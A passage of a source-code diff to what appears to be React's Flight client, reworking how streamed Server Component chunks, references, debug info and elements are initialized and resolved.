   // We use the reason field to stash the controller since we already have that
   // field. It's a bit of a hack but efficient.
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(INITIALIZED, value, controller, response);
+  return new ReactPromise(INITIALIZED, value, controller);
 }
 
 function createResolvedIteratorResultChunk<T>(
@@ -428,10 +837,11 @@ function createResolvedIteratorResultChunk<T>(
   const iteratorResultJSON =
     (done ? '{"done":true,"value":' : '{"done":false,"value":') + value + '}';
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(RESOLVED_MODEL, iteratorResultJSON, null, response);
+  return new ReactPromise(RESOLVED_MODEL, iteratorResultJSON, response);
 }
 
 function resolveIteratorResultChunk<T>(
+  response: Response,
   chunk: SomeChunk<IteratorResult<T, T>>,
   value: UninitializedModel,
   done: boolean,
@@ -439,39 +849,41 @@ function resolveIteratorResultChunk<T>(
   // To reuse code as much code as possible we add the wrapper element as part of the JSON.
   const iteratorResultJSON =
     (done ? '{"done":true,"value":' : '{"done":false,"value":') + value + '}';
-  resolveModelChunk(chunk, iteratorResultJSON);
+  resolveModelChunk(response, chunk, iteratorResultJSON);
 }
 
 function resolveModelChunk<T>(
+  response: Response,
   chunk: SomeChunk<T>,
   value: UninitializedModel,
 ): void {
   if (chunk.status !== PENDING) {
-    if (enableFlightReadableStream) {
-      // If we get more data to an already resolved ID, we assume that it's
-      // a stream chunk since any other row shouldn't have more than one entry.
-      const streamChunk: InitializedStreamChunk<any> = (chunk: any);
-      const controller = streamChunk.reason;
-      controller.enqueueModel(value);
-    }
+    // If we get more data to an already resolved ID, we assume that it's
+    // a stream chunk since any other row shouldn't have more than one entry.
+    const streamChunk: InitializedStreamChunk<any> = (chunk: any);
+    const controller = streamChunk.reason;
+    controller.enqueueModel(value);
     return;
   }
+  releasePendingChunk(response, chunk);
   const resolveListeners = chunk.value;
   const rejectListeners = chunk.reason;
   const resolvedChunk: ResolvedModelChunk<T> = (chunk: any);
   resolvedChunk.status = RESOLVED_MODEL;
   resolvedChunk.value = value;
+  resolvedChunk.reason = response;
   if (resolveListeners !== null) {
     // This is unfortunate that we're reading this eagerly if
     // we already have listeners attached since they might no
     // longer be rendered or might not be the highest pri.
     initializeModelChunk(resolvedChunk);
     // The status might have changed after initialization.
-    wakeChunkIfInitialized(chunk, resolveListeners, rejectListeners);
+    wakeChunkIfInitialized(response, chunk, resolveListeners, rejectListeners);
   }
 }
 
 function resolveModuleChunk<T>(
+  response: Response,
   chunk: SomeChunk<T>,
   value: ClientReference<T>,
 ): void {
@@ -479,31 +891,138 @@ function resolveModuleChunk<T>(
     // We already resolved. We didn't expect to see this.
     return;
   }
+  releasePendingChunk(response, chunk);
   const resolveListeners = chunk.value;
   const rejectListeners = chunk.reason;
   const resolvedChunk: ResolvedModuleChunk<T> = (chunk: any);
   resolvedChunk.status = RESOLVED_MODULE;
   resolvedChunk.value = value;
+  resolvedChunk.reason = null;
+  if (__DEV__) {
+    const debugInfo = getModuleDebugInfo(value);
+    if (debugInfo !== null) {
+      // Add to the live set if it was already initialized.
+      // $FlowFixMe[method-unbinding]
+      resolvedChunk._debugInfo.push.apply(resolvedChunk._debugInfo, debugInfo);
+    }
+  }
   if (resolveListeners !== null) {
     initializeModuleChunk(resolvedChunk);
-    wakeChunkIfInitialized(chunk, resolveListeners, rejectListeners);
+    wakeChunkIfInitialized(response, chunk, resolveListeners, rejectListeners);
   }
 }
 
+type InitializationReference = {
+  handler: InitializationHandler,
+  parentObject: Object,
+  key: string,
+  map: (
+    response: Response,
+    model: any,
+    parentObject: Object,
+    key: string,
+  ) => any,
+  path: Array<string>,
+  isDebug?: boolean, // DEV-only
+};
 type InitializationHandler = {
   parent: null | InitializationHandler,
   chunk: null | BlockedChunk<any>,
   value: any,
+  reason: any,
   deps: number,
   errored: boolean,
 };
 let initializingHandler: null | InitializationHandler = null;
+let initializingChunk: null | BlockedChunk<any> = null;
+let isInitializingDebugInfo: boolean = false;
+
+function initializeDebugChunk(
+  response: Response,
+  chunk: ResolvedModelChunk<any> | PendingChunk<any>,
+): void {
+  const debugChunk = chunk._debugChunk;
+  if (debugChunk !== null) {
+    const debugInfo = chunk._debugInfo;
+    const prevIsInitializingDebugInfo = isInitializingDebugInfo;
+    isInitializingDebugInfo = true;
+    try {
+      if (debugChunk.status === RESOLVED_MODEL) {
+        // Find the index of this debug info by walking the linked list.
+        let idx = debugInfo.length;
+        let c = debugChunk._debugChunk;
+        while (c !== null) {
+          if (c.status !== INITIALIZED) {
+            idx++;
+          }
+          c = c._debugChunk;
+        }
+        // Initializing the model for the first time.
+        initializeModelChunk(debugChunk);
+        const initializedChunk = ((debugChunk: any): SomeChunk<any>);
+        switch (initializedChunk.status) {
+          case INITIALIZED: {
+            debugInfo[idx] = initializeDebugInfo(
+              response,
+              initializedChunk.value,
+            );
+            break;
+          }
+          case BLOCKED:
+          case PENDING: {
+            waitForReference(
+              initializedChunk,
+              debugInfo,
+              '' + idx,
+              response,
+              initializeDebugInfo,
+              [''], // path
+              true,
+            );
+            break;
+          }
+          default:
+            throw initializedChunk.reason;
+        }
+      } else {
+        switch (debugChunk.status) {
+          case INITIALIZED: {
+            // Already done.
+            break;
+          }
+          case BLOCKED:
+          case PENDING: {
+            // Signal to the caller that we need to wait.
+            waitForReference(
+              debugChunk,
+              {}, // noop, since we'll have already added an entry to debug info
+              'debug', // noop, but we need it to not be empty string since that indicates the root object
+              response,
+              initializeDebugInfo,
+              [''], // path
+              true,
+            );
+            break;
+          }
+          default:
+            throw debugChunk.reason;
+        }
+      }
+    } catch (error) {
+      triggerErrorOnChunk(response, chunk, error);
+    } finally {
+      isInitializingDebugInfo = prevIsInitializingDebugInfo;
+    }
+  }
+}
 
 function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
   const prevHandler = initializingHandler;
+  const prevChunk = initializingChunk;
   initializingHandler = null;
 
   const resolvedModel = chunk.value;
+  const response = chunk.reason;
 
   // We go to the BLOCKED state until we've fully resolved this.
   // We do this before parsing in case we try to initialize the same chunk
@@ -513,8 +1032,20 @@ function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
   cyclicChunk.value = null;
   cyclicChunk.reason = null;
 
+  if ((enableProfilerTimer && enableComponentPerformanceTrack) || __DEV__) {
+    initializingChunk = cyclicChunk;
+  }
+
+  if (__DEV__) {
+    // Initialize any debug info and block the initializing chunk on any
+    // unresolved entries.
+    initializeDebugChunk(response, chunk);
+    // TODO: The chunk might have transitioned to ERRORED now.
+    // Should we return early if that happens?
+  }
+
   try {
-    const value: T = parseModel(chunk._response, resolvedModel);
+    const value: T = parseModel(response, resolvedModel);
     // Invoke any listeners added while resolving this model. I.e. cyclic
     // references. This may or may not fully resolve the model depending on
     // if they were blocked.
@@ -522,11 +1053,18 @@ function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
     if (resolveListeners !== null) {
       cyclicChunk.value = null;
       cyclicChunk.reason = null;
-      wakeChunk(resolveListeners, value);
+      for (let i = 0; i < resolveListeners.length; i++) {
+        const listener = resolveListeners[i];
+        if (typeof listener === 'function') {
+          listener(value);
+        } else {
+          fulfillReference(response, listener, value, cyclicChunk);
+        }
+      }
     }
     if (initializingHandler !== null) {
       if (initializingHandler.errored) {
-        throw initializingHandler.value;
+        throw initializingHandler.reason;
       }
       if (initializingHandler.deps > 0) {
         // We discovered new dependencies on modules that are not yet resolved.
@@ -539,12 +1077,20 @@ function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
     const initializedChunk: InitializedChunk<T> = (chunk: any);
     initializedChunk.status = INITIALIZED;
     initializedChunk.value = value;
+    initializedChunk.reason = null;
+
+    if (__DEV__) {
+      processChunkDebugInfo(response, initializedChunk, value);
+    }
   } catch (error) {
     const erroredChunk: ErroredChunk<T> = (chunk: any);
     erroredChunk.status = ERRORED;
     erroredChunk.reason = error;
   } finally {
     initializingHandler = prevHandler;
+    if ((enableProfilerTimer && enableComponentPerformanceTrack) || __DEV__) {
+      initializingChunk = prevChunk;
+    }
   }
 }
 
@@ -554,6 +1100,7 @@ function initializeModuleChunk<T>(chunk: ResolvedModuleChunk<T>): void {
     const initializedChunk: InitializedChunk<T> = (chunk: any);
     initializedChunk.status = INITIALIZED;
     initializedChunk.value = value;
+    initializedChunk.reason = null;
   } catch (error) {
     const erroredChunk: ErroredChunk<T> = (chunk: any);
     erroredChunk.status = ERRORED;
@@ -563,15 +1110,41 @@ function initializeModuleChunk<T>(chunk: ResolvedModuleChunk<T>): void {
 
 // Report that any missing chunks in the model is now going to throw this
 // error upon read. Also notify any pending promises.
-export function reportGlobalError(response: Response, error: Error): void {
+export function reportGlobalError(
+  weakResponse: WeakResponse,
+  error: Error,
+): void {
+  if (hasGCedResponse(weakResponse)) {
+    // Ignore close signal if we are not awaiting any more pending chunks.
+    return;
+  }
+  const response = unwrapWeakResponse(weakResponse);
+  response._closed = true;
+  response._closedReason = error;
   response._chunks.forEach(chunk => {
     // If this chunk was already resolved or errored, it won't
     // trigger an error but if it wasn't then we need to
     // because we won't be getting any new data to resolve it.
     if (chunk.status === PENDING) {
-      triggerErrorOnChunk(chunk, error);
+      triggerErrorOnChunk(response, chunk, error);
+    } else if (chunk.status === INITIALIZED && chunk.reason !== null) {
+      chunk.reason.error(error);
     }
   });
+  if (__DEV__) {
+    const debugChannel = response._debugChannel;
+    if (debugChannel !== undefined) {
+      // If we don't have any more ways of reading data, we don't have to send
+      // any more neither. So we close the writable side.
+      closeDebugChannel(debugChannel);
+      response._debugChannel = undefined;
+      // Make sure the debug channel is not closed a second time when the
+      // Response gets GC:ed.
+      if (debugChannelRegistry !== null) {
+        debugChannelRegistry.unregister(response);
+      }
+    }
+  }
 }
 
 function nullRefGetter() {
@@ -580,6 +1153,14 @@ function nullRefGetter() {
   }
 }
 
+function getIOInfoTaskName(ioInfo: ReactIOInfo): string {
+  return ioInfo.name || 'unknown';
+}
+
+function getAsyncInfoTaskName(asyncInfo: ReactAsyncInfo): string {
+  return 'await ' + getIOInfoTaskName(asyncInfo.awaited);
+}
+
 function getServerComponentTaskName(componentInfo: ReactComponentInfo): string {
   return '<' + (componentInfo.name || '...') + '>';
 }
@@ -617,41 +1198,140 @@ function getTaskName(type: mixed): string {
   }
 }
 
+function initializeElement(
+  response: Response,
+  element: any,
+  lazyNode: null | LazyComponent<
+    React$Element<any>,
+    SomeChunk<React$Element<any>>,
+  >,
+): void {
+  if (!__DEV__) {
+    return;
+  }
+  const stack = element._debugStack;
+  const owner = element._owner;
+  if (owner === null) {
+    element._owner = response._debugRootOwner;
+  }
+  let env = response._rootEnvironmentName;
+  if (owner !== null && owner.env != null) {
+    // Interestingly we don't actually have the environment name of where
+    // this JSX was created if it doesn't have an owner but if it does
+    // it must be the same environment as the owner. We could send it separately
+    // but it seems a bit unnecessary for this edge case.
+    env = owner.env;
+  }
+  let normalizedStackTrace: null | Error = null;
+  if (owner === null && response._debugRootStack != null) {
+    // We override the stack if we override the owner since the stack where the root JSX
+    // was created on the server isn't very useful but where the request was made is.
+    normalizedStackTrace = response._debugRootStack;
+  } else if (stack !== null) {
+    // We create a fake stack and then create an Error object inside of it.
+    // This means that the stack trace is now normalized into the native format
+    // of the browser and the stack frames will have been registered with
+    // source mapping information.
+    // This can unfortunately happen within a user space callstack which will
+    // remain on the stack.
+    normalizedStackTrace = createFakeJSXCallStackInDEV(response, stack, env);
+  }
+  element._debugStack = normalizedStackTrace;
+  let task: null | ConsoleTask = null;
+  if (supportsCreateTask && stack !== null) {
+    const createTaskFn = (console: any).createTask.bind(
+      console,
+      getTaskName(element.type),
+    );
+    const callStack = buildFakeCallStack(
+      response,
+      stack,
+      env,
+      false,
+      createTaskFn,
+    );
+    // This owner should ideally have already been initialized to avoid getting
+    // user stack frames on the stack.
+    const ownerTask =
+      owner === null ? null : initializeFakeTask(response, owner);
+    if (ownerTask === null) {
+      const rootTask = response._debugRootTask;
+      if (rootTask != null) {
+        task = rootTask.run(callStack);
+      } else {
+        task = callStack();
+      }
+    } else {
+      task = ownerTask.run(callStack);
+    }
+  }
+  element._debugTask = task;
+
+  // This owner should ideally have already been initialized to avoid getting
+  // user stack frames on the stack.
+  if (owner !== null) {
+    initializeFakeStack(response, owner);
+  }
+
+  if (lazyNode !== null) {
+    // In case the JSX runtime has validated the lazy type as a static child, we
+    // need to transfer this information to the element.
+    if (
+      lazyNode._store &&
+      lazyNode._store.validated &&
+      !element._store.validated
+    ) {
+      element._store.validated = lazyNode._store.validated;
+    }
+
+    // If the lazy node is initialized, we move its debug info to the inner
+    // value.
+    if (lazyNode._payload.status === INITIALIZED && lazyNode._debugInfo) {
+      const debugInfo = lazyNode._debugInfo.splice(0);
+      if (element._debugInfo) {
+        // $FlowFixMe[method-unbinding]
+        element._debugInfo.unshift.apply(element._debugInfo, debugInfo);
+      } else {
+        Object.defineProperty(element, '_debugInfo', {
+          configurable: false,
+          enumerable: false,
+          writable: true,
+          value: debugInfo,
+        });
+      }
+    }
+  }
+
+  // TODO: We should be freezing the element but currently, we might write into
+  // _debugInfo later. We could move it into _store which remains mutable.
+  Object.freeze(element.props);
+}
+
 function createElement(
   response: Response,
   type: mixed,
   key: mixed,
   props: mixed,
-  owner: null | ReactComponentInfo, // DEV-only
-  stack: null | string, // DEV-only
-  validated: number, // DEV-only
+  owner: ?ReactComponentInfo, // DEV-only
+  stack: ?ReactStackTrace, // DEV-only
+  validated: 0 | 1 | 2, // DEV-only
 ):
   | React$Element<any>
   | LazyComponent<React$Element<any>, SomeChunk<React$Element<any>>> {
   let element: any;
-  if (__DEV__ && enableRefAsProp) {
+  if (__DEV__) {
     // `ref` is non-enumerable in dev
     element = ({
       $$typeof: REACT_ELEMENT_TYPE,
       type,
       key,
       props,
-      _owner: owner,
+      _owner: owner === undefined ? null : owner,
     }: any);
     Object.defineProperty(element, 'ref', {
       enumerable: false,
       get: nullRefGetter,
     });
-  } else if (!__DEV__ && disableStringRefs) {
-    element = ({
-      // This tag allows us to uniquely identify this as a React Element
-      $$typeof: REACT_ELEMENT_TYPE,
-
-      type,
-      key,
-      ref: null,
-      props,
-    }: any);
   } else {
     element = ({
       // This tag allows us to uniquely identify this as a React Element
@@ -661,9 +1341,6 @@ function createElement(
       key,
       ref: null,
       props,
-
-      // Record the component responsible for creating this element.
-      _owner: owner,
     }: any);
   }
 
@@ -678,7 +1355,7 @@ function createElement(
       configurable: false,
       enumerable: false,
       writable: true,
-      value: enableOwnerStacks ? validated : 1, // Whether the element has already been validated on the server.
+      value: validated, // Whether the element has already been validated on the server.
     });
     // debugInfo contains Server Component debug information.
     Object.defineProperty(element, '_debugInfo', {
@@ -687,44 +1364,19 @@ function createElement(
       writable: true,
       value: null,
     });
-    if (enableOwnerStacks) {
-      Object.defineProperty(element, '_debugStack', {
-        configurable: false,
-        enumerable: false,
-        writable: true,
-        value: stack,
-      });
-
-      let task: null | ConsoleTask = null;
-      if (supportsCreateTask && stack !== null) {
-        const createTaskFn = (console: any).createTask.bind(
-          console,
-          getTaskName(type),
-        );
-        const callStack = buildFakeCallStack(response, stack, createTaskFn);
-        // This owner should ideally have already been initialized to avoid getting
-        // user stack frames on the stack.
-        const ownerTask =
-          owner === null ? null : initializeFakeTask(response, owner);
-        if (ownerTask === null) {
-          const rootTask = response._debugRootTask;
-          if (rootTask != null) {
-            task = rootTask.run(callStack);
-          } else {
-            task = callStack();
-          }
-        } else {
-          task = ownerTask.run(callStack);
-        }
-      }
-      Object.defineProperty(element, '_debugTask', {
-        configurable: false,
-        enumerable: false,
-        writable: true,
-        value: task,
-      });
-    }
-  }
+    Object.defineProperty(element, '_debugStack', {
+      configurable: false,
+      enumerable: false,
+      writable: true,
+      value: stack === undefined ? null : stack,
+    });
+    Object.defineProperty(element, '_debugTask', {
+      configurable: false,
+      enumerable: false,
+      writable: true,
+      value: null,
+    });
+  }
 
   if (initializingHandler !== null) {
     const handler = initializingHandler;
@@ -736,9 +1388,10 @@ function createElement(
       // into a Lazy so that we can still render up until that Lazy is rendered.
       const erroredChunk: ErroredChunk<React$Element<any>> = createErrorChunk(
         response,
-        handler.value,
+        handler.reason,
       );
       if (__DEV__) {
+        initializeElement(response, element, null);
         // Conceptually the error happened inside this Element but right before
         // it was rendered. We don't have a client side component to render but
         // we can add some DebugInfo to explain that this was conceptually a
@@ -749,15 +1402,15 @@ function createElement(
           name: getComponentNameFromType(element.type) || '',
           owner: element._owner,
         };
-        if (enableOwnerStacks) {
+        // $FlowFixMe[cannot-write]
+        erroredComponent.debugStack = element._debugStack;
+        if (supportsCreateTask) {
           // $FlowFixMe[cannot-write]
-          erroredComponent.stack = element._debugStack;
-          // $FlowFixMe[cannot-write]
-          erroredComponent.task = element._debugTask;
+          erroredComponent.debugTask = element._debugTask;
         }
         erroredChunk._debugInfo = [erroredComponent];
       }
-      return createLazyChunkWrapper(erroredChunk);
+      return createLazyChunkWrapper(erroredChunk, validated);
     }
     if (handler.deps > 0) {
       // We have blocked references inside this Element but we can turn this into
@@ -766,16 +1419,17 @@ function createElement(
         createBlockedChunk(response);
       handler.value = element;
       handler.chunk = blockedChunk;
+      const lazyNode = createLazyChunkWrapper(blockedChunk, validated);
       if (__DEV__) {
-        const freeze = Object.freeze.bind(Object, element.props);
-        blockedChunk.then(freeze, freeze);
+        // After we have initialized any blocked references, initialize stack etc.
+        const init = initializeElement.bind(null, response, element, lazyNode);
+        blockedChunk.then(init, init);
       }
-      return createLazyChunkWrapper(blockedChunk);
+      return lazyNode;
     }
-  } else if (__DEV__) {
-    // TODO: We should be freezing the element but currently, we might write into
-    // _debugInfo later. We could move it into _store which remains mutable.
-    Object.freeze(element.props);
+  }
+  if (__DEV__) {
+    initializeElement(response, element, null);
   }
 
   return element;
@@ -783,6 +1437,7 @@ function createElement(
 
 function createLazyChunkWrapper<T>(
   chunk: SomeChunk<T>,
+  validated: 0 | 1 | 2, // DEV-only
 ): LazyComponent<T, SomeChunk<T>> {
   const lazyType: LazyComponent<T, SomeChunk<T>> = {
     $$typeof: REACT_LAZY_TYPE,
@@ -790,10 +1445,10 @@ function createLazyChunkWrapper<T>(
     _init: readChunk,
   };
   if (__DEV__) {
-    // Ensure we have a live array to track future debug info.
-    const chunkDebugInfo: ReactDebugInfo =
-      chunk._debugInfo || (chunk._debugInfo = []);
-    lazyType._debugInfo = chunkDebugInfo;
+    // Forward the live array
+    lazyType._debugInfo = chunk._debugInfo;
+    // Initialize a store for key validation by the JSX runtime.
+    lazyType._store = {validated: validated};
   }
   return lazyType;
 }
@@ -802,20 +1457,314 @@ function getChunk(response: Response, id: number): SomeChunk<any> {
   const chunks = response._chunks;
   let chunk = chunks.get(id);
   if (!chunk) {
-    chunk = createPendingChunk(response);
+    if (response._closed) {
+      if (response._allowPartialStream) {
+        // For partial streams, chunks accessed after close should be HALTED
+        // (never resolve).
+        chunk = createPendingChunk(response);
+        const haltedChunk: HaltedChunk<any> = (chunk: any);
+        haltedChunk.status = HALTED;
+        haltedChunk.value = null;
+        haltedChunk.reason = null;
+      } else {
+        // We have already errored the response and we're not going to get
+        // anything more streaming in so this will immediately error.
+        chunk = createErrorChunk(response, response._closedReason);
+      }
+    } else {
+      chunk = createPendingChunk(response);
+    }
     chunks.set(id, chunk);
   }
   return chunk;
 }
 
+function fulfillReference(
+  response: Response,
+  reference: InitializationReference,
+  value: any,
+  fulfilledChunk: SomeChunk<any>,
+): void {
+  const {handler, parentObject, key, map, path} = reference;
+
+  try {
+    for (let i = 1; i < path.length; i++) {
+      while (
+        typeof value === 'object' &&
+        value !== null &&
+        value.$$typeof === REACT_LAZY_TYPE
+      ) {
+        // We never expect to see a Lazy node on this path because we encode those as
+        // separate models. This must mean that we have inserted an extra lazy node
+        // e.g. to replace a blocked element. We must instead look for it inside.
+        const referencedChunk: SomeChunk<any> = value._payload;
+        if (referencedChunk === handler.chunk) {
+          // This is a reference to the thing we're currently blocking. We can peak
+          // inside of it to get the value.
+          value = handler.value;
+          continue;
+        } else {
+          switch (referencedChunk.status) {
+            case RESOLVED_MODEL:
+              initializeModelChunk(referencedChunk);
+              break;
+            case RESOLVED_MODULE:
+              initializeModuleChunk(referencedChunk);
+              break;
+          }
+          switch (referencedChunk.status) {
+            case INITIALIZED: {
+              value = referencedChunk.value;
+              continue;
+            }
+            case BLOCKED: {
+              // It is possible that we're blocked on our own chunk if it's a cycle.
+              // Before adding the listener to the inner chunk, let's check if it would
+              // result in a cycle.
+              const cyclicHandler = resolveBlockedCycle(
+                referencedChunk,
+                reference,
+              );
+              if (cyclicHandler !== null) {
+                // This reference points back to this chunk. We can resolve the cycle by
+                // using the value from that handler.
+                value = cyclicHandler.value;
+                continue;
+              }
+              // Fallthrough
+            }
+            case PENDING: {
+              // If we're not yet initialized we need to skip what we've already drilled
+              // through and then wait for the next value to become available.
+              path.splice(0, i - 1);
+              // Add "listener" to our new chunk dependency.
+              if (referencedChunk.value === null) {
+                referencedChunk.value = [reference];
+              } else {
+                referencedChunk.value.push(reference);
+              }
+              if (referencedChunk.reason === null) {
+                referencedChunk.reason = [reference];
+              } else {
+                referencedChunk.reason.push(reference);
+              }
+              return;
+            }
+            case HALTED: {
+              // Do nothing. We couldn't fulfill.
+              // TODO: Mark downstreams as halted too.
+              return;
+            }
+            default: {
+              rejectReference(
+                response,
+                reference.handler,
+                referencedChunk.reason,
+              );
+              return;
+            }
+          }
+        }
+      }
+      const name = path[i];
+      if (
+        typeof value === 'object' &&
+        value !== null &&
+        hasOwnProperty.call(value, name)
+      ) {
+        value = value[name];
+      } else {
+        throw new Error('Invalid reference.');
+      }
+    }
+
+    while (
+      typeof value === 'object' &&
+      value !== null &&
+      value.$$typeof === REACT_LAZY_TYPE
+    ) {
+      // If what we're referencing is a Lazy it must be because we inserted one as a virtual node
+      // while it was blocked by other data. If it's no longer blocked, we can unwrap it.
+      const referencedChunk: SomeChunk<any> = value._payload;
+      if (referencedChunk === handler.chunk) {
+        // This is a reference to the thing we're currently blocking. We can peak
+        // inside of it to get the value.
+        value = handler.value;
+        continue;
+      } else {
+        switch (referencedChunk.status) {
+          case RESOLVED_MODEL:
+            initializeModelChunk(referencedChunk);
+            break;
+          case RESOLVED_MODULE:
+            initializeModuleChunk(referencedChunk);
+            break;
+        }
+        switch (referencedChunk.status) {
+          case INITIALIZED: {
+            value = referencedChunk.value;
+            continue;
+          }
+        }
+      }
+      break;
+    }
+
+    const mappedValue = map(response, value, parentObject, key);
+    if (key !== __PROTO__) {
+      parentObject[key] = mappedValue;
+    }
+
+    // If this is the root object for a model reference, where `handler.value`
+    // is a stale `null`, the resolved value can be used directly.
+    if (key === '' && handler.value === null) {
+      handler.value = mappedValue;
+    }
+
+    // If the parent object is an unparsed React element tuple, we also need to
+    // update the props and owner of the parsed element object (i.e.
+    // handler.value).
+    if (
+      parentObject[0] === REACT_ELEMENT_TYPE &&
+      typeof handler.value === 'object' &&
+      handler.value !== null &&
+      handler.value.$$typeof === REACT_ELEMENT_TYPE
+    ) {
+      const element: any = handler.value;
+      switch (key) {
+        case '3':
+          if (__DEV__) {
+            transferReferencedDebugInfo(handler.chunk, fulfilledChunk);
+          }
+          element.props = mappedValue;
+          break;
+        case '4':
+          // This path doesn't call transferReferencedDebugInfo because this reference is to a debug chunk.
+          if (__DEV__) {
+            element._owner = mappedValue;
+          }
+          break;
+        case '5':
+          // This path doesn't call transferReferencedDebugInfo because this reference is to a debug chunk.
+          if (__DEV__) {
+            element._debugStack = mappedValue;
+          }
+          break;
+        default:
+          if (__DEV__) {
+            transferReferencedDebugInfo(handler.chunk, fulfilledChunk);
+          }
+          break;
+      }
+    } else if (__DEV__ && !reference.isDebug) {
+      transferReferencedDebugInfo(handler.chunk, fulfilledChunk);
+    }
+  } catch (error) {
+    rejectReference(response, reference.handler, error);
+    return;
+  }
+
+  handler.deps--;
+
+  if (handler.deps === 0) {
+    const chunk = handler.chunk;
+    if (chunk === null || chunk.status !== BLOCKED) {
+      return;
+    }
+    const resolveListeners = chunk.value;
+    const initializedChunk: InitializedChunk<any> = (chunk: any);
+    initializedChunk.status = INITIALIZED;
+    initializedChunk.value = handler.value;
+    initializedChunk.reason = handler.reason; // Used by streaming chunks
+    if (resolveListeners !== null) {
+      wakeChunk(response, resolveListeners, handler.value, initializedChunk);
+    } else {
+      if (__DEV__) {
+        processChunkDebugInfo(response, initializedChunk, handler.value);
+      }
+    }
+  }
+}
+
+function rejectReference(
+  response: Response,
+  handler: InitializationHandler,
+  error: mixed,
+): void {
+  if (handler.errored) {
+    // We've already errored. We could instead build up an AggregateError
+    // but if there are multiple errors we just take the first one like
+    // Promise.all.
+    return;
+  }
+  const blockedValue = handler.value;
+  handler.errored = true;
+  handler.value = null;
+  handler.reason = error;
+  const chunk = handler.chunk;
+  if (chunk === null || chunk.status !== BLOCKED) {
+    return;
+  }
+
+  if (__DEV__) {
+    if (
+      typeof blockedValue === 'object' &&
+      blockedValue !== null &&
+      blockedValue.$$typeof === REACT_ELEMENT_TYPE
+    ) {
+      const element = blockedValue;
+      // Conceptually the error happened inside this Element but right before
+      // it was rendered. We don't have a client side component to render but
+      // we can add some DebugInfo to explain that this was conceptually a
+      // Server side error that errored inside this element. That way any stack
+      // traces will point to the nearest JSX that errored - e.g. during
+      // serialization.
+      const erroredComponent: ReactComponentInfo = {
+        name: getComponentNameFromType(element.type) || '',
+        owner: element._owner,
+      };
+      // $FlowFixMe[cannot-write]
+      erroredComponent.debugStack = element._debugStack;
+      if (supportsCreateTask) {
+        // $FlowFixMe[cannot-write]
+        erroredComponent.debugTask = element._debugTask;
+      }
+      chunk._debugInfo.push(erroredComponent);
+    }
+  }
+
+  triggerErrorOnChunk(response, chunk, error);
+}
+
 function waitForReference<T>(
   referencedChunk: PendingChunk<T> | BlockedChunk<T>,
   parentObject: Object,
   key: string,
   response: Response,
-  map: (response: Response, model: any) => T,
+  map: (response: Response, model: any, parentObject: Object, key: string) => T,
   path: Array<string>,
+  isAwaitingDebugInfo: boolean, // DEV-only
 ): T {
+  if (
+    __DEV__ &&
+    (response._debugChannel === undefined ||
+      !response._debugChannel.hasReadable)
+  ) {
+    if (
+      referencedChunk.status === PENDING &&
+      parentObject[0] === REACT_ELEMENT_TYPE &&
+      (key === '4' || key === '5')
+    ) {
+      // If the parent object is an unparsed React element tuple, and this is a reference
+      // to the owner or debug stack. Then we expect the chunk to have been emitted earlier
+      // in the stream. It might be blocked on other things but chunk should no longer be pending.
+      // If it's still pending that suggests that it was referencing an object in the debug
+      // channel, but no debug channel was wired up so it's missing. In this case we can just
+      // drop the debug info instead of halting the whole stream.
+      return (null: any);
+    }
+  }
+
   let handler: InitializationHandler;
   if (initializingHandler) {
     handler = initializingHandler;
@@ -825,42 +1774,148 @@ function waitForReference<T>(
       parent: null,
       chunk: null,
       value: null,
+      reason: null,
       deps: 1,
       errored: false,
     };
   }
 
-  function fulfill(value: any): void {
-    for (let i = 1; i < path.length; i++) {
-      while (value.$$typeof === REACT_LAZY_TYPE) {
-        // We never expect to see a Lazy node on this path because we encode those as
-        // separate models. This must mean that we have inserted an extra lazy node
-        // e.g. to replace a blocked element. We must instead look for it inside.
-        const chunk: SomeChunk<any> = value._payload;
-        if (chunk === handler.chunk) {
-          // This is a reference to the thing we're currently blocking. We can peak
-          // inside of it to get the value.
-          value = handler.value;
-          continue;
-        } else if (chunk.status === INITIALIZED) {
-          value = chunk.value;
-          continue;
-        } else {
-          // If we're not yet initialized we need to skip what we've already drilled
-          // through and then wait for the next value to become available.
-          path.splice(0, i - 1);
-          chunk.then(fulfill, reject);
-          return;
-        }
-      }
-      value = value[path[i]];
+  const reference: InitializationReference = {
+    handler,
+    parentObject,
+    key,
+    map,
+    path,
+  };
+  if (__DEV__) {
+    reference.isDebug = isAwaitingDebugInfo;
+  }
+
+  // Add "listener".
+  if (referencedChunk.value === null) {
+    referencedChunk.value = [reference];
+  } else {
+    referencedChunk.value.push(reference);
+  }
+  if (referencedChunk.reason === null) {
+    referencedChunk.reason = [reference];
+  } else {
+    referencedChunk.reason.push(reference);
+  }
+
+  // Return a place holder value for now.
+  return (null: any);
+}
+
+function loadServerReference<A: Iterable<any>, T>(
+  response: Response,
+  metaData: {
+    id: any,
+    bound: null | Thenable<Array<any>>,
+    name?: string, // DEV-only
+    env?: string, // DEV-only
+    location?: ReactFunctionLocation, // DEV-only
+  },
+  parentObject: Object,
+  key: string,
+): (...A) => Promise<T> {
+  if (!response._serverReferenceConfig) {
+    // In the normal case, we can't load this Server Reference in the current environment and
+    // we just return a proxy to it.
+    return createBoundServerReference(
+      metaData,
+      response._callServer,
+      response._encodeFormAction,
+      __DEV__ ? response._debugFindSourceMapURL : undefined,
+    );
+  }
+  // If we have a module mapping we can load the real version of this Server Reference.
+  const serverReference: ClientReference<T> =
+    resolveServerReference<$FlowFixMe>(
+      response._serverReferenceConfig,
+      metaData.id,
+    );
+
+  let promise: null | Thenable<any> = preloadModule(serverReference);
+  if (!promise) {
+    if (!metaData.bound) {
+      const resolvedValue = (requireModule(serverReference): any);
+      registerBoundServerReference(
+        resolvedValue,
+        metaData.id,
+        metaData.bound,
+        response._encodeFormAction,
+      );
+      return resolvedValue;
+    } else {
+      promise = Promise.resolve(metaData.bound);
+    }
+  } else if (metaData.bound) {
+    promise = Promise.all([promise, metaData.bound]);
+  }
+
+  let handler: InitializationHandler;
+  if (initializingHandler) {
+    handler = initializingHandler;
+    handler.deps++;
+  } else {
+    handler = initializingHandler = {
+      parent: null,
+      chunk: null,
+      value: null,
+      reason: null,
+      deps: 1,
+      errored: false,
+    };
+  }
+
+  function fulfill(): void {
+    let resolvedValue = (requireModule(serverReference): any);
+
+    if (metaData.bound) {
